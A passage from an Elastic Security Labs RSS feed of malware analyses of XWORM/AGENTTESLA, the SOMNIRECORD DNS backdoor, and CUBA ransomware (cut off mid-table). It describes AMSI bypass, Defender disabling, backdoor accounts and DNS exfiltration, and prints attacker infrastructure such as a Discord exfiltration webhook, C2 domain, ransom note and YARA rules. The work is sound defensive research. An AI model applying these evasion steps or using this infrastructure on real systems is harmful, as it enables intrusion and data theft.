<p>The malware creates a directory in the path <code>C:\ProgramData\MinMinons</code> , which is used to store other Powershell scripts and binaries. The currently running Powershell script is then copied to <code>C:\ProgramData\MinMinons\Candlegraphy.\_\_\_</code>.</p>
<p>Next, the malware deobfuscates the first embedded Powershell script which is used to create persistence. It first writes a JScript file that invokes the original Powershell script saved in <code>C:\ProgramData\MinMinons\Candlegraphy.\_\_\_</code> through the activeXObject shell, then a scheduled task named “MOperaChrome” is created to run the JScript file using the Microsoft signed <a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wscript">Windows Script Host (WSH) utility</a>, <code>wscript.exe</code>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt78182443d3704d07/6a7c773e9f52513a7a663ed4/image10.jpg" alt="Persistence through task scheduling" title="Persistence through task scheduling" /></p>
<h3 id="amsibypass">AMSI bypass</h3>
<p>The second embedded powershell script is responsible for bypassing AMSI by patching the <code>amsiInitFailed</code> flag. In doing so, the initialization of AMSI fails, leading to the prevention of any scan being initiated for the ongoing process. Furthermore, the PowerShell script proceeds to disable the Microsoft Windows Defender service.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltee7c3fb5dc5ad0b2/6a7c773b2f00b2c418ef8cbf/image5.jpg" alt="Disabling WinDefend service" title="Disabling WinDefend service" /></p>
<h3 id="usercreation">User creation</h3>
<p>The script creates a local administrator account named “System32” and adds it to the Remote Desktop Users group. This enables the attacker to log in via Remote Desktop Protocol (RDP). Next, the script disables the machine's firewall to allow inbound RDP connection attempts which aren’t filtered by edge controls.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt7a1edb812a068fa5/6a7c7741fc63ab6144646dda/image9.jpg" alt="Creating a backdoor user" title="Creating a backdoor user" /></p>
<h3 id="malwareupdatepersistence">Malware update persistence</h3>
<p>The third embedded script stores a secondary JScript file, whose purpose is downloading a revised or updated version of the malware. This file is saved to a predetermined location at <code>C:\ProgramData\MinMinons\miguan.js</code>. Furthermore, a scheduled task with the name (“miguaned”) is created to execute the JScript file through <code>wscript.exe</code> , similar to the previously described task.</p>
<p>The JScript creates an instance of <code>WScript.Shell</code> object by calling ActiveXObject with the following CLSID <code>{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}</code> which corresponds to Shell Object, then downloads from the URL <code>https://billielishhui.blogspot[.]com/atom.xml</code> the update powershell malware.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blta1a2e74859bcb54f/6a7c7744baa1a53949cbc65d/image4.jpg" alt="JScript script used for updating the malware" title="JScript script used for updating the malware" /></p>
<h3 id="netloader">.NET loader</h3>
<p>The custom DOTNET loader employs the <a href="https://learn.microsoft.com/en-us/dotnet/standard/native-interop/pinvoke">P/INVOKE technique</a> to call the native Windows API and inject a payload into a signed microsoft binary via <a href="https://attack.mitre.org/techniques/T1055/012/">process hollowing</a>.</p>
<p>The loader’s code employs various obfuscation techniques to hinder analysis, including the use of dead instruction, renamed symbols to make the code less readable and more confusion and encoded strings. Fortunately a tool like <a href="https://github.com/de4dot/de4dot">de4dot</a> can be used to output a human-readable version of it.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb27139b7eb7468e1/6a7c7746ead8ecd16dba47c7/image12.jpg" alt=".NET loader code obfuscation" title=".NET loader code obfuscation" /></p>
<p>The malware leverages the <code>LoadLibrary</code> and <code>GetProcAddress</code> APIs to access the required Windows APIs. To obscure the names of these APIs, the loader stores them in an encoded format within the binary file, utilizing a sequence of substitution and string reversal methods.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb6e9ef41ef89b397/6a7c77493ce8e21f37cef580/image3.jpg" alt=".NET loader string obfuscation" title=".NET loader string obfuscation" /></p>
<p>The loader then starts a process in a suspended state using <code>CreateProcessA</code> API. The following is the list of executables it uses as a host for it’s malicious code:</p>
<ul>
<li><code>C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe</code></li>
<li><code>C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe</code></li>
<li><code>C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe</code></li>
</ul>
<p>These binaries are signed and trusted by the system and can evade detection by security software that relies on whitelisting system processes. It then uses <code>Zwunmapviewofsection</code> to unmap the memory of the target process, writes the payload to the suspended process and then resume the thread using <code>ResumeThread</code> API.</p>
<h3 id="finalpayload">Final payload</h3>
<p>During our research we discovered that the threat actor has been deploying different payloads. Namely, we observed 2 families: XWORM and AGENTTESLA.</p>
<p>XWORM has gained notoriety in the underground criminal marketplace due to its ability to employ sophisticated capabilities like virtualization and sandbox detection, used to avoid detection and support persistence within an infected system.</p>
<p>Of particular concern is the fact that XWORM is readily available on the internet as a cracked version, with version 2.1 being especially prevalent. This highlights the dangers of underground cybercrime markets and the ease with which malicious actors can access and utilize powerful tools.</p>
<p>Two different versions of the XWORM family were observed versions 2.2 and 3.1. The following is the configuration of a XWORM sample in plain text.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt9d0bda6c34eb7d86/6a7c774b8fc2d066543e875c/image14.jpg" alt="XWorm configuration" title="XWorm configuration" /></p>
<p>AGENTTESLA is a trojan and credential stealer written in .NET. While it first emerged in 2014, it is now among the most active and malicious software. AGENTTESLA is affordably priced and includes support from the developers, making it easily accessible to cybercriminals with limited technical skills.</p>
<p>The sample we analyzed was heavily obfuscated, masqueraded as an AVG installer,and leverages discord for C2. It uploads stolen information to the attacker’s Discord channel via the following webhook: <code>https://discord[.]com/api/webhooks/1089956337733087274/uYNA_D8Ns1z9NZ3B1mGp0XXyGq-785KLGIfEAZsrz3TJd5fvOjXA927F7bUTTzbNT6Zk</code>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb5a9d67eff81b4d4/6a7c774ebd21988d8f75212a/image6.jpg" alt="Agent Tesla masquerading as an AVG installer" title="Agent Tesla masquerading as an AVG installer" /></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb6b8afeecc6401e3/6a7c7751e02fac611a5d037f/image7.png" alt="The discord webhook extracted dynamically" title="The discord webhook extracted dynamically" /></p>
<h2 id="observedadversarytacticsandtechniques">Observed adversary tactics and techniques</h2>
<p>Elastic uses the MITRE ATT&amp;CK framework to document common tactics, techniques, and procedures that threats use.</p>
<h2 id="tactics">Tactics</h2>
<p>Tactics represent the “why” of a technique or sub-technique. They represent the adversary’s tactical goals: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0001">Initial access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0003">Persistence</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011">Command and control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005">Defense evasion</a></li>
</ul>
<h2 id="techniquessubtechniques">Techniques/subtechniques</h2>
<p>Techniques and Subtechniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1055/">Process injection</a></li>
<li><a href="https://attack.mitre.org/techniques/T1070/004/">Indicator removal: File deletion</a></li>
<li><a href="https://attack.mitre.org/techniques/T1053/005/">Scheduled task/job: Scheduled task</a></li>
<li><a href="https://attack.mitre.org/techniques/T1204/002/">User Execution: Malicious File</a></li>
<li><a href="https://attack.mitre.org/techniques/T1566/001/">Phishing: Spearphishing Attachment</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/003/">Command and Scripting Interpreter: Powershell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1027/">Obfuscated Files or Information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1629/003/">Impair Defenses: Disable or Modify Tools</a></li>
<li><a href="https://attack.mitre.org/techniques/T1136/">Create Account</a></li>
</ul>
<h2 id="detectionlogic">Detection logic</h2>
<h3 id="yara">YARA</h3>
<p>Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify XWORM and <a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_AgentTesla.yar">AGENTTESLA</a> malware families.</p>
<pre><code>rule Windows_Trojan_Xworm_732e6c12 {
meta:
    author = "Elastic Security"
    id = "732e6c12-9ee0-4d04-a6e4-9eef874e2716"
    fingerprint = "afbef8e590105e16bbd87bd726f4a3391cd6a4489f7a4255ba78a3af761ad2f0"
    creation_date = "2023-04-03"
    last_modified = "2023-04-03"
    os = "Windows"
    arch = "x86"
    category_type = "Trojan"
    family = "Xworm"
    threat_name = "Windows.Trojan.Xworm"
    source = "Manual"
    maturity = "Diagnostic"
    reference_sample = "bf5ea8d5fd573abb86de0f27e64df194e7f9efbaadd5063dee8ff9c5c3baeaa2"
    scan_type = "File, Memory"
    severity = 100

strings:
    $str1 = "startsp" ascii wide fullword
    $str2 = "injRun" ascii wide fullword
    $str3 = "getinfo" ascii wide fullword
    $str4 = "Xinfo" ascii wide fullword
    $str5 = "openhide" ascii wide fullword
    $str6 = "WScript.Shell" ascii wide fullword
    $str7 = "hidefolderfile" ascii wide fullword
condition:
    all of them}

rule Windows_Trojan_AgentTesla_d3ac2b2f {
meta:
    author = "Elastic Security"
    id = "d3ac2b2f-14fc-4851-8a57-41032e386aeb"
    fingerprint = "cbbb56fe6cd7277ae9595a10e05e2ce535a4e6bf205810be0bbce3a883b6f8bc"
    creation_date = "2021-03-22"
    last_modified = "2022-06-20"
    os = "Windows"
    arch = "x86"
    category_type = "Trojan"
    family = "AgentTesla"
    threat_name = "Windows.Trojan.AgentTesla"
    source = "Manual"
    maturity = "Diagnostic, Production"
    reference_sample = "65463161760af7ab85f5c475a0f7b1581234a1e714a2c5a555783bdd203f85f4"
    scan_type = "File, Memory"
    severity = 100

strings:
    $a1 = "GetMozillaFromLogins" ascii fullword
    $a2 = "AccountConfiguration+username" wide fullword
    $a3 = "MailAccountConfiguration" ascii fullword
    $a4 = "KillTorProcess" ascii fullword
    $a5 = "SmtpAccountConfiguration" ascii fullword
    $a6 = "GetMozillaFromSQLite" ascii fullword
</code></pre>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/threat-command/attack-chain-leads-to-xworm-and-agenttesla</link>
    <guid isPermaLink="false">attack-chain-leads-to-xworm-and-agenttesla</guid>
    <category><![CDATA[Threat Intelligence]]></category>
    <dc:creator><![CDATA[Salim Bitam]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb81382ec49178231/6a7c77549f52515945663ed8/blog-thumb-coin-stacks.jpg" length="0" type="image/jpeg"/>
    <pubDate>Mon, 10 Apr 2023 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[Not sleeping anymore: SOMNIRECORD's wake-up call]]></title>
    <description><![CDATA[Elastic Security Labs researchers identified a new malware family written in C++ that we refer to as SOMNIRECORD. This malware functions as a backdoor and communicates with command and control (C2) while masquerading as DNS.]]></description>
    <content:encoded><![CDATA[<h3 id="introduction">Introduction</h3>
<p>While monitoring the <a href="https://www.elastic.co/security-labs/update-to-the-REF2924-intrusion-set-and-related-campaigns">REF2924 activity group</a>, Elastic Security Labs researchers identified a new malware family written in C++ that we refer to as SOMNIRECORD. This malware functions as a backdoor and communicates with command and control (C2) while masquerading as DNS, allowing attackers to bypass network security controls such as firewalls and intrusion detection systems. Like <a href="https://www.elastic.co/security-labs/naplistener-more-bad-dreams-from-the-developers-of-siestagraph">NAPLISTENER</a> and <a href="https://www.elastic.co/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry">SIESTAGRAPH</a>, these factors make it difficult to detect and block using strictly network-based technologies.</p>
<h3 id="analysis">Analysis</h3>
<p>Upon execution, SOMNIRECORD first generates a random string of three characters used as a unique identifier for the running malware instance. It then probes a domain name that is hardcoded into the binary (" <code>dafadfweer.top</code>") by appending the random three-character string and the string " <code>-PROBE</code>" to the domain name. SOMNIRECORD simulates a DNS query to retrieve the number of commands that are queued for the backdoor to execute, each stored in a <code>TXT</code> record of the associated domain.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte9296990a0959855/6a7c8f65e02fac10cc5d0751/image2.jpg" alt="Dns query with PROBE as subdomain" title="Dns query with PROBE as subdomain" /></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt12c24edf21083d79/6a7c8f68437e0f93f9dd5835/image4.jpg" alt="Pseudocode dnsQuery call" title="Pseudocode dnsQuery call" /></p>
<p>After obtaining the number of commands waiting to be executed, the backdoor retrieves each command individually by sending a DNS query for a <code>TXT</code> record. The backdoor prepends the previously-generated random string to the " <code>-CMD</code>" string before sending the DNS query. This allows the backdoor to receive each command individually and execute them accordingly.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt5e256659f7dac50f/6a7c8f6b80ee386c0960d357/image5.jpg" alt="Dns query with CMD as subdomain" title="Dns query with CMD as subdomain" /></p>
<h3 id="commandhandling">Command handling</h3>
<p>The malware's command handling function is a critical component that enables it to execute commands received from the C2 server. This function processes the command and performs the appropriate action based on the command type. In this malware, there are five commands that the malware can execute: <code>SYS, PSL, sleep, ECM</code> , and <code>WS</code> :</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt4c156a6a7792c54b/6a7c8f6eead8ec5c97ba4b8a/image1.jpg" alt="Pseudocode Command handling function" title="Pseudocode Command handling function" /></p>
<p>“ <code>SYS</code> ” is used to retrieve information about the infected machine. When this command is executed, the SOMNIRECORD payload collects information about the computer name, the number of processors, OEM ID, and processor type. This information can be used to fingerprint/identify specific infected machines.</p>
<p>“ <code>PSL</code> ” is used to list all processes currently running on the infected machine by executing the system command “tasklist”.</p>
<p>“ <code>ECM</code> ” allows the malware to execute any software already present on the system, such as cmd.exe.</p>
<p>“ <code>sleep</code> ” is used to change the beacon interval to the c2 server.</p>
<p>“ <code>WS</code> ” is used to deploy an ASPX-based webshell to a specified path. The ASPX is hardcoded into the malware itself.</p>
<p>To communicate command results to its C2 server, SOMNIRECORD employs a unique technique that involves encoding the output of executed commands as hex values, prepending the previously generated random string to the " <code>-DATA</code>" string and then appending the hex values. The malware then performs a DNS query to the subdomain, allowing the encoded command output to be transmitted to the C2 server for example: <code>XXX-DATA-68656c6c6f20776f726c64.dafadfweer.top</code></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt8a42c18c9377a150/6a7c8f715967e50b175d777d/image3.png" alt="Dns query with DATA as subdomain" title="Dns query with DATA as subdomain" /></p>
<h3 id="resources">Resources</h3>
<p>Elastic Security Labs has provided a SOMNIRECORD signature in our open protections artifact repository <a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_SomniRecord.yar">here</a>.</p>
<h3 id="sources">Sources</h3>
<p>Code similarity analyses play an important role in discovering the sources of malicious code used by adversaries. In an effort to identify the source of SOMNIRECORD, we identified an open source project called <a href="https://github.com/chouaibhm/DNS-Persist/">DNS-Persist</a> that contained similar logic. Like NAPLISTENER, we believe the attacker was inspired by this project and then added modifications to facilitate success in a specific target environment.</p>
<h3 id="keytakeaways">Key takeaways</h3>
<ul>
<li>The use of open source projects by the attacker indicates that they are taking steps to customize existing tools for their specific needs and may be attempting to counter attribution attempts</li>
<li>SOMNIRECORD uses DNS to pattern communication with its command and control (C2), which enables attackers to bypass network egress controls and monitoring</li>
</ul>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/threat-command/not-sleeping-anymore-somnirecords-wakeup-call</link>
    <guid isPermaLink="false">not-sleeping-anymore-somnirecords-wakeup-call</guid>
    <category><![CDATA[Malware Analysis]]></category>
    <dc:creator><![CDATA[Salim Bitam]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt1c503e4ab95be726/6a7c8f74b4377033ba4d1256/blog-thumb-steel-engine.jpg" length="0" type="image/jpeg"/>
    <pubDate>Wed, 22 Mar 2023 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[CUBA Ransomware Malware Analysis]]></title>
    <description><![CDATA[Elastic Security has performed a deep technical analysis of the CUBA ransomware family. This includes malware capabilities as well as defensive countermeasures.]]></description>
    <content:encoded><![CDATA[<h2 id="summary">Summary</h2>
<p>As a part of Elastic Security’s ongoing threat detection and monitoring efforts, we have recently observed a ransomware intrusion by the CUBA ransomware threat group, internally tracked as REF9019. This report will detail the inner workings of the ransomware deployed inside the network to encrypt the victim’s files. Cuba ransomware provides the attacker with the flexibility to encrypt both local and network shares files in the enterprise. CUBA uses the ChaCha20 cipher algorithm for symmetric encryption and RSA encryption to protect the ChaCha20 keys. CUBA is multithreaded for faster encryption with resource access synchronization to avoid file corruption.</p>
<p>In this analysis we will describe the following:</p>
<ul>
<li>Operations mode</li>
<li>Process and services termination</li>
<li>Enumeration of volumes</li>
<li>Threading implementation</li>
<li>File encryption and algorithms used</li>
<li>MITRE Attack mapping</li>
<li>YARA rule</li>
<li>Indicators of compromise</li>
</ul>
<h3 id="staticanalysis">Static Analysis</h3>
<p>|                 |                                                                  |
| --------------- | ---------------------------------------------------------------- | --- |
| SHA256 Packed   | 0f385cc69a93abeaf84994e7887cb173e889d309a515b55b2205805bdfe468a3 |
| SHA256 Unpacked | 3654af86dc682e95c811e4fd87ea405b627bca81c656f3a520a4b24bf2de879f |
| File Size       | 135168 bytes                                                     |
| FileType:       | Executable                                                       |
| Imphash:        | CA5F4AF10ABC885182F3FB9ED425DE65                                 |
| Compile Time    | Wed Mar 09 22:00:31 2022                                         | UTC |
| Entropy         | 6.582                                                            |</p>
<h3 id="sections">Sections</h3>
<p>|        |                |              |          |         |                                  |
| ------ | -------------- | ------------ | -------- | ------- | -------------------------------- |
| Name   | VirtualAddress | Virtual Size | Raw Size | Entropy | MD5                              |
| .text  | 0x00401000     | 0x13B5F      | 0x13C00  | 6.608   | 931B22064E9E214BF59A4E07A6CA9109 |
| .rdata | 0x00415000     | 0xA71C       | 0xA800   | 5.855   | F6F97411BCD64126A96B08BA9AE1E775 |
| .data  | 0x00420000     | 0x16B0       | 0xC00    | 3.450   | 03B1B11B4531BB656E43A8B457D4A5F7 |
| .rsrc  | 0x00422000     | 0x1E0        | 0x200    | 4.704   | F754ADBD7F5D6195FD6D527001CAB98C |
| .reloc | 0x00423000     | 0x1200       | 0x1200   | 6.573   | 08B0994DAECAAAA4173B388A80CC52FE |</p>
<blockquote>
  <p>For information on the CUBA ransomware campaign and associated malware analysis, check out our blog posts detailing this:</p>
  <ul>
  <li><a href="https://www.elastic.co/security-labs/cuba-ransomware-malware-analysis">CUBA Campaign Analysis</a></li>
  <li><a href="https://www.elastic.co/security-labs/bughatch-malware-analysis">BUGHATCH Malware Analysis</a></li>
  </ul>
</blockquote>
<h3 id="imports">Imports</h3>
<pre><code>GetProcessImageFileNameW
EnumProcesses
NetApiBufferFree
NetShareEnum
GetIpNetTable
PathFindFileNameW
FindFirstFileExW
FindFirstFileW
FindNextFileW
WriteFile
SetFileAttributesW
MoveFileExW
FindFirstVolumeW
TerminateProcess
GetEnvironmentStringsW
OpenProcess
GetCurrentProcessId
CreateProcessW
GetVolumePathNamesForVolumeNameW
FindNextVolumeW
GetCurrentThreadId
RaiseException
GetModuleHandleExW
OpenProcessToken
CryptAcquireContextA
CryptGenRandom
CryptReleaseContext
AdjustTokenPrivileges
LookupPrivilegeValueA
ControlService
ChangeServiceConfigW
PathAddBackslashW
GetCPInfo
GetOEMCP
IsValidCodePage
lstrcpynW
InterlockedDecrement
FindClose
CreateFileW
Sleep
lstrcatW
CloseHandle
CreateThread
lstrcpyW
lstrcmpW
ReadFile
GetFileSizeEx
EnterCriticalSection
GetCurrentProcess
GetModuleFileNameW
LeaveCriticalSection
GetCommandLineA
WaitForSingleObject
GetLastError
SetEvent
GetDiskFreeSpaceExW
ResetEvent
GetWindowsDirectoryW
SetFilePointerEx
ExitProcess
CreateEventA
lstrcmpiW
GetTickCount
DeleteCriticalSection
QueryPerformanceCounter
SetStdHandle
FreeEnvironmentStringsW
GetCommandLineW
DecodePointer
GetStringTypeW
GetProcessHeap
FlushFileBuffers
GetConsoleCP
HeapSize
WriteConsoleW
InitializeCriticalSection
UnhandledExceptionFilter
SetUnhandledExceptionFilter
IsProcessorFeaturePresent
InitializeCriticalSectionAndSpinCount
WaitForSingleObjectEx
CreateEventW
GetModuleHandleW
GetProcAddress
IsDebuggerPresent
GetStartupInfoW
GetSystemTimeAsFileTime
InitializeSListHead
RtlUnwind
SetLastError
EncodePointer
TlsAlloc
TlsGetValue
TlsSetValue
TlsFree
FreeLibrary
LoadLibraryExW
GetFileType
GetStdHandle
MultiByteToWideChar
WideCharToMultiByte
GetACP
HeapFree
HeapAlloc
LCMapStringW
HeapReAlloc
GetConsoleMode
CharLowerW
GetKeyboardLayoutList
wsprintfW
CloseServiceHandle
OpenSCManagerW
OpenServiceW
QueryServiceStatusEx
</code></pre>
<h3 id="strings">Strings</h3>
<pre><code>Good day. All your files are encrypted. For decryption contact us.
Write here waterstatus@cock.li
reserve admin@encryption-support.com
jabber cuba_support@exploit.im
We also inform that your databases, ftp server and file server were downloaded by us to our servers.
If we do not receive a message from you within three days, we regard this as a refusal to negotiate.
Check our platform: http://cuba4ikm4jakjgmkezytyawtdgr2xymvy6nvzgw5cglswg3si76icnqd.onion/
* Do not rename encrypted files.
* Do not try to decrypt your data using third party software,
  it may cause permanent data loss.
* Do not stop process of encryption, because partial encryption cannot be decrypted.
!! READ ME !!.txt
</code></pre>
<h2 id="codeanalysis">Code Analysis</h2>
<h3 id="entrypoint">Entry Point</h3>
<p>The malware starts by retrieving the active input locale identifier of the victim using the GetKeyboardLayout API. When the Russian language is in the list of supported languages of the machine, the process deletes and terminates itself with a simple command line: c:\system32\cmd.exe c/ del PATH_TO_BINARY without encrypting the file system.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt4a65333db5681b54/6a7c7b76ead8ec1709ba484d/image5-cuba-ransomware-elastic.jpg" alt="" /></p>
<h3 id="commandlineoptions">Command-line Options</h3>
<p>The threat actor included 4 different operations based on the following command-line arguments:</p>
<ul>
<li>The network keyword</li>
<li>An IP keyword</li>
<li>A path keyword</li>
<li>The local keyword
<img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte187f63aef0d90f5/6a7c7b79448e4ebd4f5baa90/image12-cuba-ransomware-elastic.jpg" alt="" /></li>
</ul>
<p><strong>Network keyword parameter</strong></p>
<p>When specifying the network keyword, the malware retrieves the Address Resolution Protocol (ARP) table of the machine using the GetIpNetTable Windows API and enumerates the shares of each IP in the ARP table, this information is added to a linked list that will be accessed by the encryption capability, which will be discussed further below in detail.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte8f8343c53284871/6a7c7b7cc33f4fea11d54996/image13-cuba-ransomware-elastic.jpg" alt="" /></p>
<p><strong>IP keyword parameter</strong></p>
<p>By specifying an IP address as the first parameter in the command line the malware proceeds by enumerating and encrypting every share found for the specified IP.</p>
<p><strong>Path keyword parameter</strong></p>
<p>The malware will encrypt the local directory contents, or the file provided, as the first parameter of the command-line.</p>
<p><strong>Local keyword parameter</strong></p>
<p>The local keyword is used to encrypt every local volume on the machine, and because the malware targets volumes by their ID, it can encrypt both mounted and unmounted volumes.</p>
<h3 id="processtermination">Process Termination</h3>
<p>CUBA starts by acquiring SeDebugPrivilege and then terminates a hardcoded list of processes and services using a common Windows API (see appendix for list [<a href="https://www.elastic.co/security-labs/cuba-ransomware-malware-analysis#list-of-terminated-processes">1</a>], [<a href="https://www.elastic.co/security-labs/cuba-ransomware-malware-analysis#list-of-terminated-services">2</a>]). For some services, the malware first tries to disable the service– indicated by the second parameter of TerminateProcesses::TerminateServiceByName function. This is mainly done to prevent interference with the encryption process by applications that may lock files from external changes, for example, databases.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt637bc70e81e64363/6a7c7b7f227b1cc99f5925d9/image8-cuba-ransomware-elastic.jpg" alt="" /></p>
<h3 id="localvolumeenumeration">Local Volume Enumeration</h3>
<p>The malware enumerates all the local volumes and for each volume larger than 1GB it saves the volume’s GUID in a custom linked list. The ransomware utilizes the CriticalSection object to access this linked list for synchronization purposes due to multiple threads accessing the same resource. This helps to avoid two threads encrypting the same file at the same time, a race condition that would corrupt the file.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt50533eed4d66c89c/6a7c7b82c33f4f1ea1d5499a/image6-cuba-ransomware-elastic.jpg" alt="" /></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltf37fbf5b1badc880/6a7c7b85bd21984b417521d7/image2-cuba-ransomware-elastic.jpg" alt="" /></p>
<h3 id="multithreadedencryptionsynchronization">Multithreaded Encryption Synchronization</h3>
<p>After preparing a list to encrypt, CUBA ransomware spawns encryption threads with the structure defined below as a parameter. Depending on the command line arguments, the malware starts 4 threads for local encryption or 8 threads for network encryption.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt572b897ced5018b6/6a7c7b876c6eacfc2df0e329/image10-cuba-ransomware-elastic.jpg" alt="" /></p>
<p>When a thread finishes its task, it will decrement a counter until it reaches 0: lpParameter-\&gt;NumberOfThreadRunning. When the last thread completes, it will alert the program that the task is done with a call to SetEvent API, which will self delete and terminate the malware.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt57fbbfb15b57adb4/6a7c7b8a227b1c2b025925dd/image11-cuba-ransomware-elastic.jpg" alt="" /></p>
<h3 id="encryptionimplementation">Encryption Implementation</h3>
<p>The malware leverages the symmetric encryption algorithm ChaCha20 to encrypt files and the asymmetric encryption algorithm RSA to protect the ChaCha20 Key and Initialization Vector (IV). The author has utilized a customized version of <a href="https://github.com/wolfSSL/wolfssl">WolfSSL</a>, an open source SSL/TLS library, to implement this capability. Other samples (2957226fc315f71dc22f862065fe376efab9c21d61bbc374dde34d47cde85658) implemented a similar function using the <a href="https://github.com/libtom/libtomcrypt">libtomcrypt</a> library. Other implementations may exist that are not described here.</p>
<p>The ransomware allocates a large custom structure called block that contains all the required encryption information. It then initializes an RsaKey structure with <a href="https://www.wolfssl.com/doxygen/group__RSA.html#ga02c9b34d405c5f1c24956ee84a843ef6">wc_InitRsaKey</a> and decodes an embedded 4096 bit RSA public key in <a href="https://wiki.openssl.org/index.php/DER">DER</a> format using <a href="https://www.wolfssl.com/doxygen/group__RSA.html#ga2610326206b322f33f59e31a845e24b9">wc_RsaPublicKeyDecode</a> which it saves to block.PubRsaKey.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt18240e6ba5ecacaf/6a7c7b8d33fa8a5ef01fc873/image7-cuba-ransomware-elastic.jpg" alt="" /></p>
<h3 id="fileenumeration">File Enumeration</h3>
<p>Each thread takes an entry from the linked list and starts recursively enumerating files starting from the root of the volume. In the case of a specific directory, the same function is called recursively except for specific directories (see <a href="https://www.elastic.co/security-labs/cuba-ransomware-malware-analysis#excluded-directories">appendix</a> for list). Otherwise, it will ignore the ransom note file !! READ ME !!.txt and files with specific extensions (see <a href="https://www.elastic.co/security-labs/cuba-ransomware-malware-analysis#excluded-file-extensions">appendix</a> for list).</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltcd4075ea3e99b1e5/6a7c7b8f437e0f2c91dd551b/image15-cuba-ransomware-elastic.jpg" alt="" /></p>
<p>The malware uses <a href="https://www.wolfssl.com/doxygen/group__Random.html#ga9a289fb3f58f4a5f7e15c2b5a1b0d7c6">wc_RNG_GenerateBlock</a> a WolfSSL function, to randomly generate 44 bytes. The first 32 bytes of that are used as the ChaCha20 key and the other 12 bytes are used as the IV, it then calls a function to initiate the ChaCha20 structure block.chacha20_KeyIv that will be later used to encrypt the file content. At this point, the ransomware is ready to start encrypting and writing to the file.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt2d71a7f34335a10d/6a7c7b92fc63ab39e0646e6a/image14-cuba-ransomware-elastic.jpg" alt="" /></p>
<p>Before encrypting a file, Cuba ransomware prepends a 1024 byte header, the first 256 bytes are the string FIDEL.CA and some DWORD bytes values, the next 512 bytes are the encrypted ChaCha20 KEY/IV with the public RSA key and the rest is padded with 0.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt812ebecc4d3214fb/6a7c7b95da3d056764633c9c/image3-cuba-ransomware-elastic.jpg" alt="" /></p>
<p>Before starting the encryption, the malware double checks if the file was already encrypted by comparing the first 8 bytes of the file to the header string FIDEL.CA. If equal, the malware terminates the encryption process as described below.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt076c404201a6e0d5/6a7c7b98448e4e2b515baa98/image16-cuba-ransomware-elastic.jpg" alt="" /></p>
<p>Then CUBA writes the 1024 byte header and if the file is larger than 2 MB it reads 1 MB of data at a time from the file and encrypts it with the ChaCha20 cipher. Otherwise, it will read and encrypt the entire contents at once.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt669616cbb58371aa/6a7c7b9ae3a219f36199966a/image1-cuba-ransomware-elastic.jpg" alt="" /></p>
<p>The malware encrypts the file in 1 MB chunks and, depending on the file’s size, it will skip a preset number of bytes. This is done primarily to speed up the encryption process of large files, below is a table to illustrate.</p>
<p>|                  |                      |              |
| ---------------- | -------------------- | ------------ |
